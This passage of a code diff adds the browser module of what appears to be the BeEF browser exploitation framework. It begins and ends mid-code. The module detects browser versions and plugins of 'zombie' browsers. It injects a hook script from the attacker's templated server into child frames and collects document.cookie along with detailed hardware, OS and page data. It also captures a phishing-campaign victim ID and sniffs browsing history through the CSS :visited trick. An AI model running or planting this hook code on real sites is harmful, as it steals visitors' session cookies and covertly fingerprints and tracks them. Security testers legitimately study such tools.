+            return '47'
+        }
+        ;   // Firefox 47
+        if (this.isFF48()) {
+            return '48'
+        }
+        ;   // Firefox 48
+        if (this.isFF49()) {
+            return '49'
+        }
+        ;   // Firefox 49
+        if (this.isFF50()) {
+            return '50'
+        }
+        ;   // Firefox 50
+        if (this.isFF51()) {
+            return '51'
+        }
+        ;   // Firefox 51
+        if (this.isFF52()) {
+            return '52'
+        }
+        ;   // Firefox 52
+        if (this.isFF53()) {
+            return '53'
+        }
+        ;   // Firefox 53
+        if (this.isFF54()) {
+            return '54'
+        }
+        ;   // Firefox 54
+        if (this.isFF55()) {
+            return '55'
+        }
+        ;   // Firefox 55
+        if (this.isFF56()) {
+            return '56'
+        }
+        ;   // Firefox 56
+        if (this.isFF57()) {
+            return '57'
+        }
+        ;   // Firefox 57
+        if (this.isFF58()) {
+            return '58'
+        }
+        ;   // Firefox 58
+        if (this.isFF59()) {
+            return '59'
+        }
+        ;   // Firefox 59
+        if (this.isFF60()) {
+            return '60'
+        }
+        ;   // Firefox 60
+        if (this.isFF61()) {
+            return '61'
+        }
+        ;   // Firefox 61
+        if (this.isFF62()) {
+            return '62'
+        }
+        ;   // Firefox 62
+        if (this.isFF63()) {
+            return '63'
+        }
+        ;   // Firefox 63
+        if (this.isFF64()) {
+            return '64'
+        }
+        ;   // Firefox 64
+        if (this.isFF65()) {
+            return '65'
+        }
+        ;   // Firefox 65
+        if (this.isFF66()) {
+            return '66'
+        }
+        ;   // Firefox 66
+        if (this.isFF67()) {
+            return '67'
+        }
+        ;   // Firefox 67
+        if (this.isFF68()) {
+            return '68'
+        }
+        ;   // Firefox 68
+        if (this.isFF69()) {
+            return '69'
+        }
+        ;   // Firefox 69
+        if (this.isFF70()) {
+            return '70'
+        }
+        ;   // Firefox 70
+        if (this.isFF71()) {
+            return '71'
+        }
+        ;   // Firefox 71
+        if (this.isFF72()) {
+            return '72'
+        }
+        ;   // Firefox 72
+        if (this.isFF73()) {
+            return '73'
+        }
+        ;   // Firefox 73
+        if (this.isFF74()) {
+            return '74'
+        }
+        ;   // Firefox 74
+        if (this.isFF75()) {
+            return '75'
+        }
+        ;   // Firefox 75
+        if (this.isFF76()) {
+            return '76'
+        }
+        ;   // Firefox 76
+        if (this.isFF77()) {
+            return '77'
+        }
+        ;   // Firefox 77
+        if (this.isFF78()) {
+            return '78'
+        }
+        ;   // Firefox 78
+        if (this.isFF79()) {
+            return '79'
+        }
+        ;   // Firefox 79
+        if (this.isFF80()) {
+            return '80'
+        }
+        ;   // Firefox 80
+        if (this.isFF81()) {
+            return '81'
+        }
+        ;   // Firefox 81
+        if (this.isFF82()) {
+            return '82'
+        }
+        ;   // Firefox 82
+        if (this.isFF83()) {
+            return '83'
+        }
+        ;   // Firefox 83
+        if (this.isFF84()) {
+            return '84'
+        }
+        ;   // Firefox 84
+        if (this.isFF85()) {
+            return '85'
+        }
+        ;   // Firefox 85
+        if (this.isFF86()) {
+            return '86'
+        }
+        ;   // Firefox 86
+        if (this.isFF87()) {
+            return '87'
+        }
+        ;   // Firefox 87
+        if (this.isFF88()) {
+            return '88'
+        }
+        ;   // Firefox 88
+        if (this.isFF89()) {
+            return '89'
+        }
+        ;   // Firefox 89
+        if (this.isFF90()) {
+            return '90'
+        }
+        ;   // Firefox 90
+        if (this.isFF91()) {
+            return '91'
+        }
+        ;   // Firefox 91
+        if (this.isFF92()) {
+            return '92'
+        }
+        ;   // Firefox 92
+        if (this.isFF93()) {
+            return '93'
+        }
+        ;   // Firefox 93
+        if (this.isFF94()) {
+            return '94'
+        }
+        ;   // Firefox 94
+        if (this.isFF95()) {
+            return '95'
+        }
+        ;   // Firefox 95
+        if (this.isFF96()) {
+            return '96'
+        }
+        ;   // Firefox 96
+        if (this.isFF97()) {
+            return '97'
+        }
+        ;   // Firefox 97
+        if (this.isFF98()) {
+            return '98'
+        }
+        ;   // Firefox 98
+        if (this.isFF99()) {
+            return '99'
+        }
+        ;   // Firefox 99
+
+        if (this.isIE6()) {
+            return '6'
+        }
+        ;	// Internet Explorer 6
+        if (this.isIE7()) {
+            return '7'
+        }
+        ;	// Internet Explorer 7
+        if (this.isIE8()) {
+            return '8'
+        }
+        ;	// Internet Explorer 8
+        if (this.isIE9()) {
+            return '9'
+        }
+        ;	// Internet Explorer 9
+        if (this.isIE10()) {
+            return '10'
+        }
+        ;	// Internet Explorer 10
+        if (this.isIE11()) {
+            return '11'
+        }
+        ;   // Internet Explorer 11
+
+        if (this.isEdge()) {
+            return '1'
+        }
+        ;   // Microsoft Edge
+
+        if (this.isEpi()) {
+            // believe the UserAgent string for version info - until whenever
+            var epiphanyRe = /Epiphany\/(\d+)/;
+            var versionDetails = epiphanyRe.exec( beef.browser.getBrowserReportedName());
+            if (versionDetails.length > 1) {
+                return versionDetails[1];
+            } else {
+                return "UNKNOWN"; // returns from here or it may take Safari version details
+            }
+        }
+        ;                       // Epiphany
+
+        if (this.isS4()) {
+            return '4'
+        }
+        ;	// Safari 4
+        if (this.isS5()) {
+            return '5'
+        }
+        ;	// Safari 5
+        if (this.isS6()) {
+            return '6'
+        }
+        ;	// Safari 6
+
+        if (this.isS7()) {
+            return '7'
+        }
+        ;	// Safari 7
+        if (this.isS8()) {
+            return '8'
+        }
+        ;       // Safari 8
+
+        if (this.isO9_52()) {
+            return '9.5'
+        }
+        ;	// Opera 9.5x
+        if (this.isO9_60()) {
+            return '9.6'
+        }
+        ;	// Opera 9.6
+        if (this.isO10()) {
+            return '10'
+        }
+        ;	// Opera 10.xx
+        if (this.isO11()) {
+            return '11'
+        }
+        ;	// Opera 11.xx
+        if (this.isO12()) {
+            return '12'
+        }
+        ;	// Opera 12.xx
+
+        // platform.js
+        try {
+          var version = platform.version;
+          if (!!version)
+            return version;
+        } catch (e) {}
+
+        return 'UNKNOWN';				// Unknown UA
+    },
+
+    /**
+     * Returns the type of user agent by hooked browser.
+     * @return: {String} User agent software.
+     *
+     * @example: beef.browser.getBrowserName()
+     */
+    getBrowserName: function () {
+        if (this.isEdge()) {
+            return 'E'
+        }
+        ;       // Microsoft Edge any version
+        if (this.isC()) {
+            return 'C'
+        }
+        ;   // Chrome any version
+        if (this.isFF()) {
+            return 'FF'
+        }
+        ;		// Firefox any version
+        if (this.isIE()) {
+            return 'IE'
+        }
+        ;		// Internet Explorer any version
+        if (this.isO()) {
+            return 'O'
+        }
+        ;		// Opera any version
+        if (this.isEpi()) {
+            return 'EP'
+        }
+        ;			// Epiphany any version
+        if (this.isS()) {
+            return 'S'
+        }
+        ;		// Safari any version
+        if (this.isA()) {
+            return 'A'
+        }
+        ;               // Avant any version
+        if (this.isMidori()) {
+            return 'MI'
+        }
+        ;               // Midori any version
+        if (this.isOdyssey()) {
+            return 'OD'
+        }
+        ;               // Odyssey any version
+        if (this.isBrave()) {
+            return 'BR'
+        }
+        ;               // Brave any version
+        return 'UNKNOWN';	// Unknown UA
+    },
+
+    /**
+     * Hooks all child frames in the current window
+     * Restricted by same-origin policy
+     */
+    hookChildFrames: function () {
+
+        // create script object
+        var script = document.createElement('script');
+        script.type = 'text/javascript';
+        script.src = '<%== @beef_proto %>://<%== @beef_host %>:<%== @beef_port %><%== @hook_file %>';
+
+        // loop through child frames
+        for (var i = 0; i < self.frames.length; i++) {
+            try {
+                // append hook script
+                self.frames[i].document.body.appendChild(script);
+                beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]");
+            } catch (e) {
+                // warn on cross-origin
+                beef.debug("Hooking child frame failed: " + e.message);
+            }
+        }
+    },
+
+    /**
+     * Checks if the zombie has flash installed and enabled.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if(beef.browser.hasFlash()) { ... }
+     */
+    hasFlash: function () {
+      if (!beef.browser.isIE()) {
+        return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
+      }
+
+      if (!!navigator.plugins) {
+        return (navigator.plugins["Shockwave Flash"] != undefined);
+      }
+
+      // IE
+      var flash_versions = 12;
+      if (window.ActiveXObject != null) {
+        for (x = 2; x <= flash_versions; x++) {
+          try {
+            Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
+            if (Flash) {
+              return true;
+            }
+          } catch (e) {
+            beef.debug("Creating Flash ActiveX object failed: " + e.message);
+          }
+        }
+      }
+
+      return false;
+    },
+
+    /**
+     * Checks if the zombie has the QuickTime plugin installed.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if ( beef.browser.hasQuickTime() ) { ... }
+     */
+    hasQuickTime: function () {
+        if (!!navigator.plugins) {
+            for (i = 0; i < navigator.plugins.length; i++) {
+                if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) {
+                    return true;
+                }
+            }
+        }
+
+        // IE
+        try {
+          var qt_test = new ActiveXObject('QuickTime.QuickTime');
+          if (qt_test) {
+            return true;
+          }
+        } catch (e) {
+          beef.debug("Creating QuickTime ActiveX object failed: " + e.message);
+        }
+
+        return false;
+    },
+
+    /**
+     * Checks if the zombie has the RealPlayer plugin installed.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if ( beef.browser.hasRealPlayer() ) { ... }
+     */
+    hasRealPlayer: function () {
+
+        if (!!navigator.plugins) {
+          for (i = 0; i < navigator.plugins.length; i++) {
+            if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
+              return true;
+            }
+          }
+        }
+
+        // IE
+        var definedControls = [
+          'RealPlayer',
+          'rmocx.RealPlayer G2 Control',
+          'rmocx.RealPlayer G2 Control.1',
+          'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
+          'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
+        ];
+
+        for (var i = 0; i < definedControls.length; i++) {
+          try {
+            var rp_test = new ActiveXObject(definedControls[i]);
+            if (rp_test) {
+              return true;
+            }
+          } catch (e) {
+            beef.debug("Creating RealPlayer ActiveX object failed: " + e.message);
+          }
+        }
+
+        return false;
+    },
+
+    /**
+     * Checks if the zombie has the Windows Media Player plugin installed.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if ( beef.browser.hasWMP() ) { ... }
+     */
+    hasWMP: function () {
+      if (!!navigator.plugins) {
+        for (i = 0; i < navigator.plugins.length; i++) {
+          if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) {
+            return true;
+          }
+        }
+      }
+
+      // IE
+      try {
+        var wmp_test = new ActiveXObject('WMPlayer.OCX');
+        if (wmp_test) {
+          return true;
+        }
+      } catch (e) {
+        beef.debug("Creating WMP ActiveX object failed: " + e.message);
+      }
+
+      return false;
+    },
+
+    /**
+     *  Checks if VLC is installed
+     *  @return: {Boolean} true or false
+     **/
+    hasVLC: function () {
+      if (beef.browser.isIE() || beef.browser.isEdge()) {
+        try {
+          control = new ActiveXObject("VideoLAN.VLCPlugin.2");
+          return true;
+        } catch (e) {
+          beef.debug("Creating VLC ActiveX object failed: " + e.message);
+        }
+      } else {
+        for (i = 0; i < navigator.plugins.length; i++) {
+          if (navigator.plugins[i].name.indexOf("VLC") >= 0) {
+            return true;
+          }
+        }
+      }
+      return false;
+    },
+
+    /**
+     * Checks if the zombie has Java enabled.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if(beef.browser.javaEnabled()) { ... }
+     */
+    javaEnabled: function () {
+      return navigator.javaEnabled();
+    },
+
+    /**
+     * Checks if the Phonegap API is available from the hooked origin.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if(beef.browser.hasPhonegap()) { ... }
+     */
+    hasPhonegap: function () {
+        var result = false;
+
+        try {
+            if (!!device.phonegap || !!device.cordova) result = true; else result = false;
+        }
+        catch (e) {
+            result = false;
+        }
+        return result;
+    },
+
+    /**
+     * Checks if the browser supports CORS
+     * @return: {Boolean} true or false.
+     *
+     * @example: if(beef.browser.hasCors()) { ... }
+     */
+    hasCors: function () {
+        if ('withCredentials' in new XMLHttpRequest())
+            return true;
+        else if (typeof XDomainRequest !== "undefined")
+            return true;
+        else
+            return false;
+    },
+
+    /**
+     * Checks if the zombie has Java installed and enabled.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if(beef.browser.hasJava()) { ... }
+     */
+    hasJava: function () {
+        if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {
+          return true;
+        } else {
+          return false;
+        }
+    },
+
+    /**
+     * Checks if the zombie has VBScript enabled.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if(beef.browser.hasVBScript()) { ... }
+     */
+    hasVBScript: function () {
+        if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
+            return true;
+        } else {
+            return false;
+        }
+    },
+
+    /**
+     * Returns the list of plugins installed in the browser.
+     */
+    getPlugins: function () {
+
+        var results;
+        Array.prototype.unique = function () {
+            var o = {}, i, l = this.length, r = [];
+            for (i = 0; i < l; i += 1) o[this[i]] = this[i];
+            for (i in o) r.push(o[i]);
+            return r;
+        };
+
+        // Things lacking navigator.plugins
+        if (!navigator.plugins) 
+          return this.getPluginsIE();
+
+        // All other browsers that support navigator.plugins
+        if (navigator.plugins && navigator.plugins.length > 0) {
+            results = new Array();
+            for (var i = 0; i < navigator.plugins.length; i++) {
+
+                // Firefox returns exact plugin versions
+                if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
+
+                // Webkit and Presto (Opera)
+                // Don't support the version attribute
+                // Sometimes store the version in description (Real, Adobe)
+                else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
+            }
+            results = results.unique().toString();
+
+            // All browsers that don't support navigator.plugins
+        } else {
+            results = new Array();
+            //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726
+            // On linux sistem the "version" slot is empty so I'll attach "description" after version
+            var plugins = {
+
+                'AdobeAcrobat': {
+                    'control': 'Adobe Acrobat',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins["Adobe Acrobat"]["description"];
+                            return 'Adobe Acrobat Version  ' + version; //+ " description "+ filename;
+
+                        }
+                        catch (e) {
+                        }
+
+
+                    }},
+                'Flash': {
+                    'control': 'Shockwave Flash',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins["Shockwave Flash"]["description"];
+                            return 'Flash Player Version ' + version; //+ " description "+ filename;
+                        }
+
+                        catch (e) {
+                        }
+                    }},
+                'Google_Talk_Plugin_Accelerator': {
+                    'control': 'Google Talk Plugin Video Accelerator',
+                    'return': function (control) {
+
+                        try {
+                            version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"];
+                            return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename;
+                        }
+                        catch (e) {
+                        }
+                    }},
+                'Google_Talk_Plugin': {
+                    'control': 'Google Talk Plugin',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins['Google Talk Plugin']["description"];
+                            return 'Google Talk Plugin Version ' + version;// " description "+ filename;
+                        }
+                        catch (e) {
+                        }
+                    }},
+                'Facebook_Video_Calling_Plugin': {
+                    'control': 'Facebook Video Calling Plugin',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins["Facebook Video Calling Plugin"]["description"];
+                            return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename;
+                        }
+                        catch (e) {
+                        }
+                    }},
+                'Google_Update': {
+                    'control': 'Google Update',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins["Google Update"]["description"];
+                            return 'Google Update Version ' + version//+ " description "+ filename;
+                        }
+                        catch (e) {
+                        }
+                    }},
+                'Windows_Activation_Technologies': {
+                    'control': 'Windows Activation Technologies',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins["Windows Activation Technologies"]["description"];
+                            return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename;
+                        }
+                        catch (e) {
+                        }
+
+                    }},
+                'VLC_Web_Plugin': {
+                    'control': 'VLC Web Plugin',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins["VLC Web Plugin"]["description"];
+                            return 'VLC Web Plugin Version ' + version;//+ " description "+ filename;
+                        }
+                        catch (e) {
+                        }
+                    }},
+                'Google_Earth_Plugin': {
+                    'control': 'Google Earth Plugin',
+
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins['Google Earth Plugin']["description"];
+                            return 'Google Earth Plugin Version ' + version;//+ " description "+ filename;
+                        }
+                        catch (e) {
+                        }
+                    }},
+                'FoxitReader_Plugin': {
+                    'control': 'FoxitReader Plugin',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];
+                            return 'FoxitReader Plugin Version ' + version;
+                        } catch (e) {
+                        }
+                    }}
+            };
+
+            var c = 0;
+            for (var i in plugins) {
+                //each element od plugins
+                var control = plugins[i]['control'];
+                try {
+                    var version = plugins[i]['return'](control);
+                    if (version) {
+                        results[c] = version;
+                        c = c + 1;
+                    }
+                }
+                catch (e) {
+                }
+
+            }
+        }
+        // Return results
+        return results;
+    },
+
+    /**
+     * Returns a list of plugins detected by IE. This is a hack because IE doesn't
+     * support navigator.plugins
+     */
+    getPluginsIE: function () {
+        var results = '';
+        var plugins = {
+            'AdobePDF6': {
+                'control': 'PDF.PdfCtrl',
+            'return': function (control) {
+                version = control.getVersions().split(',');
+                version = version[0].split('=');
+                return 'Acrobat Reader v' + parseFloat(version[1]);
+            }},
+            'AdobePDF7': {
+                'control': 'AcroPDF.PDF',
+                'return': function (control) {
+                    version = control.getVersions().split(',');
+                    version = version[0].split('=');
+                    return 'Acrobat Reader v' + parseFloat(version[1]);
+                }},
+            'Flash': {
+                'control': 'ShockwaveFlash.ShockwaveFlash',
+                'return': function (control) {
+                    version = control.getVariable('$version').substring(4);
+                    return 'Flash Player v' + version.replace(/,/g, ".");
+                }},
+            'Quicktime': {
+                'control': 'QuickTime.QuickTime',
+                'return': function (control) {
+                    return 'QuickTime Player';
+                }},
+            'RealPlayer': {
+                'control': 'RealPlayer',
+                'return': function (control) {
+                    version = control.getVersionInfo();
+                    return 'RealPlayer v' + parseFloat(version);
+                }},
+            'Shockwave': {
+                'control': 'SWCtl.SWCtl',
+                'return': function (control) {
+                    version = control.ShockwaveVersion('').split('r');
+                    return 'Shockwave v' + parseFloat(version[0]);
+                }},
+            'WindowsMediaPlayer': {
+                'control': 'WMPlayer.OCX',
+                'return': function (control) {
+                    return 'Windows Media Player v' + parseFloat(control.versionInfo);
+                }},
+            'FoxitReaderPlugin': {
+                'control': 'FoxitReader.FoxitReaderCtl.1',
+                'return': function (control) {
+                    return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);
+                }}
+        };
+        if (window.ActiveXObject) {
+            var j = 0;
+            for (var i in plugins) {
+                var control = null;
+                var version = null;
+                try {
+                    control = new ActiveXObject(plugins[i]['control']);
+                } catch (e) {
+                }
+                if (control) {
+                    if (j != 0)
+                        results += ', ';
+                    results += plugins[i]['return'](control);
+                    j++;
+                }
+            }
+        }
+        return results;
+    },
+
+    /**
+     * Returns zombie browser window size.
+     * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
+     */
+    getWindowSize: function () {
+        var myWidth = 0, myHeight = 0;
+        if (typeof( window.innerWidth ) == 'number') {
+            // Non-IE
+            myWidth = window.innerWidth;
+            myHeight = window.innerHeight;
+        } else if (document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )) {
+            // IE 6+ in 'standards compliant mode'
+            myWidth = document.documentElement.clientWidth;
+            myHeight = document.documentElement.clientHeight;
+        } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {
+            // IE 4 compatible
+            myWidth = document.body.clientWidth;
+            myHeight = document.body.clientHeight;
+        }
+        return {
+            width: myWidth,
+            height: myHeight
+        }
+    },
+
+    /**
+     * Construct hash from browser details. This function is used to grab the browser details during the hooking process
+     */
+    getDetails: function () {
+        var details = new Array();
+
+        var browser_name = beef.browser.getBrowserName();
+        var browser_version = beef.browser.getBrowserVersion();
+        var browser_engine = beef.browser.getBrowserEngine();
+        var browser_reported_name = beef.browser.getBrowserReportedName();
+        var browser_language = beef.browser.getBrowserLanguage();
+        var page_title = (document.title) ? document.title : "Unknown";
+        var origin = (window.origin) ? window.origin : "Unknown";
+        var page_uri = (document.location.href) ? document.location.href : "Unknown";
+        var page_referrer = (document.referrer) ? document.referrer : "Unknown";
+        var page_hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
+        var default_port = "";
+        switch (document.location.protocol) {
+        case "http:":
+            var default_port = "80";
+            break;
+        case "https:":
+            var default_port = "443";
+            break;
+        }
+        var page_hostport = (document.location.port) ? document.location.port : default_port;
+        var browser_plugins = beef.browser.getPlugins();
+        var date_stamp = new Date().toString();
+        var os_name = beef.os.getName();
+        var os_family = beef.os.getFamily();
+        var os_version = beef.os.getVersion();
+        var os_arch = beef.os.getArch();
+        var default_browser = beef.os.getDefaultBrowser();
+        var hw_type = beef.hardware.getName();
+        var battery_details = beef.hardware.getBatteryDetails();
+        try {
+          var battery_charging_status = battery_details.chargingStatus;
+          var battery_level = battery_details.batteryLevel;
+          var battery_charging_time = battery_details.chargingTime;
+          var battery_discharging_time = battery_details.dischargingTime;
+        } catch(e) {}
+        var memory = beef.hardware.getMemory();
+        var cpu_arch = beef.hardware.getCpuArch();
+        var cpu_cores = beef.hardware.getCpuCores();
+        var gpu_details = beef.hardware.getGpuDetails();
+        try {
+          var gpu = gpu_details.gpu;
+          var gpu_vendor = gpu_details.vendor;
+        } catch(e) {}
+        var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
+        var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown';
+        var screen_size = beef.hardware.getScreenSize();
+        try {
+          var screen_width = screen_size.width;
+          var screen_height = screen_size.height;
+          var screen_colordepth = screen_size.colordepth;
+        } catch(e) {}
+        var window_size = beef.browser.getWindowSize();
+        try {
+          window_width = window_size.width;
+          window_height = window_size.height;
+        } catch(e) {}
+        var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
+        var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
+        var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No";
+        var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
+        var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
+        var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
+        var has_web_worker = (beef.browser.hasWebWorker()) ? "Yes" : "No";
+        var has_web_gl = (beef.browser.hasWebGL()) ? "Yes" : "No";
+        var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
+        var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
+        var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
+        var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
+        var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
+        var has_vlc = (beef.browser.hasVLC()) ? "Yes" : "No";
+
+        try {
+            var cookies = document.cookie;
+            /* Never stop the madness dear C.
+             * var veglol = beef.browser.cookie.veganLol();
+             */
+            if (cookies) details['browser.window.cookies'] = cookies;
+        } catch (e) {
+            beef.debug("Cookies can't be read. The hooked origin is most probably using HttpOnly.");
+            details['browser.window.cookies'] = '';
+        }
+
+        if (browser_name) details['browser.name'] = browser_name;
+        if (browser_version) details['browser.version'] = browser_version;
+        if (browser_engine) details['browser.engine'] = browser_engine;
+        if (browser_reported_name) details['browser.name.reported'] = browser_reported_name;
+        if (browser_platform) details['browser.platform'] = browser_platform;
+        if (browser_language) details['browser.language'] = browser_language;
+        if (browser_plugins) details['browser.plugins'] = browser_plugins;
+
+        if (page_title) details['browser.window.title'] = page_title;
+        if (origin) details['browser.window.origin'] = origin;
+        if (page_hostname) details['browser.window.hostname'] = page_hostname;
+        if (page_hostport) details['browser.window.hostport'] = page_hostport;
+        if (page_uri) details['browser.window.uri'] = page_uri;
+        if (page_referrer) details['browser.window.referrer'] = page_referrer;
+        if (window_width) details['browser.window.size.width'] = window_width;
+        if (window_height) details['browser.window.size.height'] = window_height;
+        if (date_stamp) details['browser.date.datestamp'] = date_stamp;
+
+        if (os_name) details['host.os.name'] = os_name;
+        if (os_family) details['host.os.family'] = os_family;
+        if (os_version) details['host.os.version'] = os_version;
+        if (os_arch) details['host.os.arch'] = os_arch;
+
+        if (default_browser) details['host.software.defaultbrowser'] = default_browser;
+
+        if (hw_type) details['hardware.type'] = hw_type;
+        if (memory) details['hardware.memory'] = memory;
+        if (gpu) details['hardware.gpu'] = gpu;
+        if (gpu_vendor) details['hardware.gpu.vendor'] = gpu_vendor;
+        if (cpu_arch) details['hardware.cpu.arch'] = cpu_arch;
+        if (cpu_cores) details['hardware.cpu.cores'] = cpu_cores;
+
+        if (battery_charging_status) details['hardware.battery.chargingstatus'] = battery_charging_status;
+        if (battery_level) details['hardware.battery.level'] = battery_level;
+        if (battery_charging_time) details['hardware.battery.chargingtime'] = battery_charging_time;
+        if (battery_discharging_time) details['hardware.battery.dischargingtime'] = battery_discharging_time;
+
+        if (screen_width) details['hardware.screen.size.width'] = screen_width;
+        if (screen_height) details['hardware.screen.size.height'] = screen_height;
+        if (screen_colordepth) details['hardware.screen.colordepth'] = screen_colordepth;
+        if (touch_enabled) details['hardware.screen.touchenabled'] = touch_enabled;
+
+        if (vbscript_enabled) details['browser.capabilities.vbscript'] = vbscript_enabled;
+        if (has_flash) details['browser.capabilities.flash'] = has_flash;
+        if (has_silverlight) details['browser.capabilities.silverlight'] = has_silverlight;
+        if (has_phonegap) details['browser.capabilities.phonegap'] = has_phonegap;
+        if (has_web_socket) details['browser.capabilities.websocket'] = has_web_socket;
+        if (has_webrtc) details['browser.capabilities.webrtc'] = has_webrtc;
+        if (has_web_worker) details['browser.capabilities.webworker'] = has_web_worker;
+        if (has_web_gl) details['browser.capabilities.webgl'] = has_web_gl;
+        if (has_googlegears) details['browser.capabilities.googlegears'] = has_googlegears;
+        if (has_activex) details['browser.capabilities.activex'] = has_activex;
+        if (has_quicktime) details['browser.capabilities.quicktime'] = has_quicktime;
+        if (has_realplayer) details['browser.capabilities.realplayer'] = has_realplayer;
+        if (has_wmp) details['browser.capabilities.wmp'] = has_wmp;
+        if (has_vlc) details['browser.capabilities.vlc'] = has_vlc;
+
+        var pf_integration = "<%= @phishing_frenzy_enable %>";
+        if (pf_integration) {
+            var pf_param = "uid";
+            var pf_victim_uid = "";
+            var location_search = window.location.search.substring(1);
+            var params = location_search.split('&');
+            for (var i = 0; i < params.length; i++) {
+                var param_entry = params[i].split('=');
+                if (param_entry[0] == pf_param) {
+                    pf_victim_uid = param_entry[1];
+                    details['PhishingFrenzyUID'] = pf_victim_uid;
+                    break;
+                }
+            }
+        } else {
+            details['PhishingFrenzyUID'] = "N/A";
+        }
+
+        return details;
+    },
+
+    /**
+     * Returns boolean value depending on whether the browser supports ActiveX
+     */
+    hasActiveX: function () {
+        return !!window.ActiveXObject;
+    },
+
+    /**
+     * Returns boolean value depending on whether the browser supports WebRTC
+     */
+    hasWebRTC: function () {
+        return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
+    },
+
+    /**
+     * Returns boolean value depending on whether the browser supports Silverlight
+     */
+    hasSilverlight: function () {
+        var result = false;
+
+        try {
+            if (beef.browser.hasActiveX()) {
+                var slControl = new ActiveXObject('AgControl.AgControl');
+                result = true;
+            } else if (navigator.plugins["Silverlight Plug-In"]) {
+                result = true;
+            }
+        } catch (e) {
+            result = false;
+        }
+
+        return result;
+    },
+
+    /**
+     * Returns array of results, whether or not the target zombie has visited the specified URL
+     */
+    hasVisited: function (urls) {
+        var results = new Array();
+        var iframe = beef.dom.createInvisibleIframe();
+        var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
+        ifdoc.open();
+        ifdoc.write('<style>a:visited{width:0px !important;}</style>');
+        ifdoc.close();
+        urls = urls.split("\n");
+        var count = 0;
+        for (var i in urls) {
+            var u = urls[i];
+            if (u != "" || u != null) {
+                var success = false;
+                var a = ifdoc.createElement('a');
+                a.href = u;
+                ifdoc.body.appendChild(a);
+                var width = null;
+                (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
+                if (width == '0px') {
+                    success = true;
+                }
+                results.push({'url': u, 'visited': success});
+                count++;
+            }
+        }
+        beef.dom.removeElement(iframe);
+        if (results.length == 0) {
+            return false;
+        }
+        return results;
+    },
+
+    /**
+     * Checks if the zombie has Web Sockets enabled.
+     * @return: {Boolean} true or false.
+     * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
+     * */
+    hasWebSocket: function () {
+        return !!window.WebSocket || !!window.MozWebSocket;
+    },
+
+    /**
+     * Checks if the zombie has Web Workers enabled.
+     * @return: {Boolean} true or false.
+     * */
+    hasWebWorker: function () {
+        return (typeof(Worker) !== "undefined");
+    },
+
+    /**
+     * Checks if the zombie has WebGL enabled.
+     * @return: {Boolean} true or false.
+     *
+     * @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js
+     * */
+    hasWebGL: function () {
+        try {
+            var canvas = document.createElement("canvas");
+            var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
+            return !!(gl && gl instanceof WebGLRenderingContext);
+        } catch(e) {
+            return false;
+        }
+    },
+
+    /**
+     * Checks if the zombie has Google Gears installed.
+     * @return: {Boolean} true or false.
+     *
+     * @from: https://code.google.com/apis/gears/gears_init.js
+     * */
+    hasGoogleGears: function () {
+
+        var ggfactory = null;
+
+        // Chrome
+        if (window.google && google.gears) return true;
+
+        // Firefox
+        if (typeof GearsFactory != 'undefined') {
+            ggfactory = new GearsFactory();
+        } else {
+            // IE
+            try {
